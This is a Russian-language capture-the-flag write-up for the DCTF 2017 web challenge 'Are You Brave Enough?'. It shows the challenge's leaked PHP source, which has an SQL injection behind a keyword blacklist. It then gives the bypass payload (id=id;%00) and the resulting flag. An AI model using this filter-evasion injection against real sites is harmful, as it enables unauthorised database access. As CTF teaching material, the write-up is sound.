Are You Brave Enough?

Читаем задание:

You have a simple challenge, proove your web skills and get the flag. Website

При переходе по ссылке из задания нас ожидала белая страница со словом Nop. Перепробовав вручную несколько стандартных директорий (/admin, /flag и т. д.) был найден исходный код страницы по адресу https://brave.dctf-quals-17.def.camp/index.php~:

<?php

$db  = mysqli_connect('localhost','web_brave','','web_brave');

$id  = @$_GET['id'];
$key = $db->real_escape_string(@$_GET['key']);

if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
    die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected

$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);

if($q->num_rows) {
    echo '<h3>Users:</h3><ul>';
    while($row = $q->fetch_array()) {
        echo '<li>'.$row['name'].'</li>';
    }

    echo '</ul>';
} else {    
    die('<h3>Nop.</h3>');
}

Изучив код, можно предположить, что уязвимость кроется в параметре $id. Кроме того, проанализировав условие в preg_match можно заметить, что символы %, 0, ; и ` не фильтруются.
После исследования запроса становится понятным, что id=id имеет тот же эффект, что и 1=1.
Кроме того, мы должны игнорировать параметр $key и конец запроса после $id, для чего добавим ;%00 в конец нашего запроса.
Т. о. при обращении к https://brave.dctf-quals-17.def.camp/index.php?id=id;%00 мы получаем:

Users:

Try Harder
DCTF{602dcfeedd3aae23f05cf93d121907ec925bd70c50d78ac839ad48c0a93cfc54}

Флаг: DCTF{602dcfeedd3aae23f05cf93d121907ec925bd70c50d78ac839ad48c0a93cfc54}


Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *